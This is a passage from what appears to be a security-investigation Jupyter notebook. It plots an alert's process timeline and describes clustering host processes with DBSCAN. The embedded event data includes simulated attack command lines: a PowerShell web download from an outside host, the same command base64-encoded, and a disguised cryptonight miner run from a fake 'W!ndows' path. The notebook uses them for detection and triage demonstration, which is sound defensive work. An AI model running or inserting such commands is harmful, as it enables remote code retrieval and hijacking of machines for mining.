\"attributes\":{\"data_source\":{\"id\":\"1354\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"1392\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1393\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"1395\",\"type\":\"CDSView\"}},\"id\":\"1394\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"line_alpha\":0.1,\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"1398\",\"type\":\"Line\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1406\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"1396\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"1397\",\"type\":\"Line\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1398\",\"type\":\"Line\"},\"selection_glyph\":null,\"view\":{\"id\":\"1400\",\"type\":\"CDSView\"}},\"id\":\"1399\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1414\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1415\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"background_fill_color\":{\"value\":\"white\"},\"border_line_color\":{\"value\":\"red\"},\"plot\":{\"id\":\"1357\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"render_mode\":\"css\",\"text\":\"< Alert time\",\"x\":1550095422000.0,\"y\":0,\"y_offset\":10},\"id\":\"1401\",\"type\":\"Label\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"1384\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline Alert Process Session\"},\"id\":\"1356\",\"type\":\"Title\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1412\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1389\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{},\"id\":\"1365\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"1419\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"1418\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1408\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1413\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1363\",\"type\":\"LinearScale\"},{\"attributes\":{\"source\":{\"id\":\"1354\",\"type\":\"ColumnDataSource\"}},\"id\":\"1395\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1420\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1410\",\"type\":\"DaysTicker\"},{\"attributes\":{\"callback\":null},\"id\":\"1361\",\"type\":\"DataRange1d\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1411\",\"type\":\"DaysTicker\"},{\"attributes\":{\"plot\":{\"id\":\"1357\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1368\",\"type\":\"DatetimeTicker\"}},\"id\":\"1371\",\"type\":\"Grid\"},{\"attributes\":{\"callback\":null,\"data\":{\"CommandLine\":[\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd  /c echo Begin Security Demo tasks\",\"cmd  /c echo Any questions about the commands executed here then please contact one of\",\"cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\powershell  -Noninteractive -Noprofile -Command \\\"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://wh401k.org/getps\\\"\",\".\\\\powershell  -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdldC1Qcm9jZXNzOyBJbnZva2UtV2ViUmVxdWVzdCAtVXJpIGh0dHA6Ly93aDQwMWsub3JnL2dldHBzIg==\",\"cmd  /c echo End Security Demo tasks\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 2\",\".\\\\suchost.exe   -a cryptonight -o bcn -u bond007.01 -p x -t 4\"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688],\"NewProcessName\":[\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\W!ndows\\\\System32\\\\powershell.exe\",\"C:\\\\W!ndows\\\\System32\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\W!ndows\\\\System32\\\\suchost.exe\"],\"TimeGenerated\":{\"__ndarray__\":\"AKA3MY6OdkIAAEsxjo52QgCwTDGOjnZCAIBNMY6OdkIAsFcxjo52QgDAWDGOjnZCANBZMY6OdkIAADcxjo52QgAQVjGOjnZC\",\"dtype\":\"float64\",\"shape\":[9]},\"WrapCmdl\":[\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"cmd  /c echo Begin Security Demo tasks\",\"cmd /c echo Any questions about the commands executed\\n\",\"cmd /c echo timb@microsoft.com; ianhelle@microsoft.com;\\n\",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression\\nGet-Process; Invoke-WebRequest -Uri http://wh401k.org/getps\\\"\\n\",\".\\\\powershell -enc\\n\",\"cmd  /c echo End Security Demo tasks\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32\\n\",\".\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p\\n\"],\"index\":[0,1,2,3,4,5,6,7,8],\"y_index\":[1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"1419\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"1418\",\"type\":\"UnionRenderers\"}},\"id\":\"1354\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"1355\",\"type\":\"HoverTool\"},{\"id\":\"1377\",\"type\":\"PanTool\"},{\"id\":\"1378\",\"type\":\"WheelZoomTool\"},{\"id\":\"1379\",\"type\":\"BoxZoomTool\"},{\"id\":\"1380\",\"type\":\"ResetTool\"}]},\"id\":\"1381\",\"type\":\"Toolbar\"},{\"attributes\":{\"formatter\":{\"id\":\"1404\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"1357\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1373\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"1372\",\"type\":\"LinearAxis\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1406\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1407\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1408\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1409\",\"type\":\"DaysTicker\"},{\"id\":\"1410\",\"type\":\"DaysTicker\"},{\"id\":\"1411\",\"type\":\"DaysTicker\"},{\"id\":\"1412\",\"type\":\"DaysTicker\"},{\"id\":\"1413\",\"type\":\"MonthsTicker\"},{\"id\":\"1414\",\"type\":\"MonthsTicker\"},{\"id\":\"1415\",\"type\":\"MonthsTicker\"},{\"id\":\"1416\",\"type\":\"MonthsTicker\"},{\"id\":\"1417\",\"type\":\"YearsTicker\"}]},\"id\":\"1368\",\"type\":\"DatetimeTicker\"},{\"attributes\":{},\"id\":\"1417\",\"type\":\"YearsTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"1384\",\"type\":\"BoxAnnotation\"}},\"id\":\"1379\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1409\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1392\",\"type\":\"Circle\"},{\"attributes\":{\"callback\":null},\"id\":\"1359\",\"type\":\"DataRange1d\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"1357\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1373\",\"type\":\"BasicTicker\"}},\"id\":\"1376\",\"type\":\"Grid\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"1389\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"1357\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1368\",\"type\":\"DatetimeTicker\"}},\"id\":\"1367\",\"type\":\"DatetimeAxis\"},{\"attributes\":{},\"id\":\"1380\",\"type\":\"ResetTool\"},{\"attributes\":{\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"1397\",\"type\":\"Line\"},{\"attributes\":{},\"id\":\"1373\",\"type\":\"BasicTicker\"},{\"attributes\":{\"callback\":null,\"data\":{\"x\":[1550095422000.0,1550095422000.0],\"y\":[0,2]},\"selected\":{\"id\":\"1421\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"1420\",\"type\":\"UnionRenderers\"}},\"id\":\"1396\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"1396\",\"type\":\"ColumnDataSource\"}},\"id\":\"1400\",\"type\":\"CDSView\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1416\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1407\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1378\",\"type\":\"WheelZoomTool\"},{\"attributes\":{},\"id\":\"1377\",\"type\":\"PanTool\"},{\"attributes\":{},\"id\":\"1404\",\"type\":\"BasicTickFormatter\"}],\"root_ids\":[\"1357\"]},\"title\":\"Bokeh Application\",\"version\":\"1.0.4\"}};\n",
       "  var render_items = [{\"docid\":\"51e1cdea-0491-413e-bf86-bbd459946186\",\"roots\":{\"1357\":\"bbaa8664-0082-4e2c-be1a-8ade90d51c39\"}}];\n",
       "  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
       "\n",
       "  }\n",
       "  if (root.Bokeh !== undefined) {\n",
       "    embed_document(root);\n",
       "  } else {\n",
       "    var attempts = 0;\n",
       "    var timer = setInterval(function(root) {\n",
       "      if (root.Bokeh !== undefined) {\n",
       "        embed_document(root);\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "      attempts++;\n",
       "      if (attempts > 100) {\n",
       "        console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "    }, 10, root)\n",
       "  }\n",
       "})(window);"
      ],
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "1357"
      }
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Show timeline of events\n",
    "if process_tree is not None and not process_tree.empty:\n",
    "    nbdisp.display_timeline(data=process_tree, alert=security_alert, \n",
    "                            title='Alert Process Session', height=250)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='process_clustering'></a>[Contents](#toc)\n",
    "# Other Processes on Host - Clustering\n",
    "Sometimes you don't have a source process to work with. Other times it's just useful to see what else is going on on the host. This section retrieves all processes on the host within the time bounds\n",
    "set in the query times widget.\n",
    "\n",
    "You can display the raw output of this by looking at the *processes_on_host* dataframe. Just copy this into a new cell and hit Ctrl-Enter.\n",
    "\n",
    "Usually though, the results return a lot of very repetitive and unintersting system processes so we attempt to cluster these to make the view easier to negotiate. \n",
    "To do this we process the raw event list output to extract a few features that render strings (such as commandline)into numerical values. The default below uses the following features:\n",
    "- commandLineTokensFull - this is a count of common delimiters in the commandline \n",
    "  (given by this regex r'[\\s\\-\\\\/\\.,\"\\'|&:;%$()]'). The aim of this is to capture the commandline structure while ignoring variations on what is essentially the same pattern (e.g. temporary path GUIDs, target IP or host names, etc.)\n",
    "- pathScore - this sums the ordinal (character) value of each character in the path (so /bin/bash and /bin/bosh would have similar scores).\n",
    "- isSystemSession - 1 if this is a root/system session, 0 if anything else.\n",
    "\n",
    "Then we run a clustering algorithm (DBScan in this case) on the process list. The result groups similar (noisy) processes together and leaves unique process patterns as single-member clusters."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Clustered Processes (i.e. processes that have a cluster size > 1)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 67,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Number of input events: 190\n",
      "Number of clustered events: 24\n"
     ]
    },
    {
     "data": {
      "image/png": "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Y2Mjo0b9nKFD1+LCCy+noaGBxx9/lFGj9ufAAw/5TK89efL7vPxydOgxEya8zVlnnca4cZcVtcHT2HffPVlmmWXZYIONGDu2tlLIdv2ciYgTgRNbHX4KWKfTIzIzMzOzufb444/y3/++xYgRe1Ffnypphw5di1/84kimTauMPO+7754MH74nQ4euxfjxb7Lffntx1VXXc+utt3D55ZdQX1/PEksswRFHHMtpp/2ad96ZwGGHjeL448dy88038Kc/XUFjYxPSyhxwwCH07duXrbbajJVX/iLvvPMOo0cfzfTp0/nwww9ZcEHo378/hx9+NPPO2xeA7bbbmjPPPI9rr72ahx56AEgj3u+9N4nbbruXF154jjPOOIWPPvqQBRdciIMO+gVLLLFkl7Wbd8gzMzMz64VeeikYMmSlmYlxs/XW24BBgwbN8fEXXHAOp556FuPGXcbiiy/Jv/71GiNHHsSiiw7m+OPH8sor/+T666/lnHPGcdFFlzNo0MJcccWlALz33nvsssvuXHTR5QwZshIbbrgR22+/DXvssSu/+c0ZzJjRyFJLLd3i9fbZZz8uuuhyzj//IhZeeBEOPfRIPvnkE0444VccddQYxo37PT/60c6ceOKYzmukNnR+IYyZmZmZZVdfXzdzdPazWH/9DdlnnxF8/esbs9FGmzBkiBg/vrL+whNPPMobb/ybvfYaBsD06Z+w0korz7x91VW/NPPyqFGHsdtuI3j44Qd5+OEH2GuvYRx11LFstNEmn3rdE0/8FauvPpRNN92cV175B2+++QaHHnrAzNunTp36md9Tezg5NjMzM+uFVl75i1xzzVU0NTW1WHv5vPPOZu211515vfq26dOnz7w8cuQo/vGPbXjggfs49tgjGD58T1ZbbfWZt8+Y0cgmm2zGyJEHATBt2jRmzJgx8/Z+/foxfXoj999/Hx98MI1NN/0mW275Xbbc8rtcd9013HDDXz6VHF9++aVMmjSJ0aOPnvkaSyyxJBdddHlxfQaTJr3bCa0zay6rMDMzM+uFvvKVNRg0aGHGjTt/ZtL60EMPcNNN17VIMBdccCFeffWfANx7711ASpJ/9KPvsdBCC7HLLsP41re25KWXgj59+sx8rjXWWJN77rmLSZPepampiZNPPp4rr7z8U3H069ePc889e+aoc1NTEy+//BJDhqjF/R588H5uuOFa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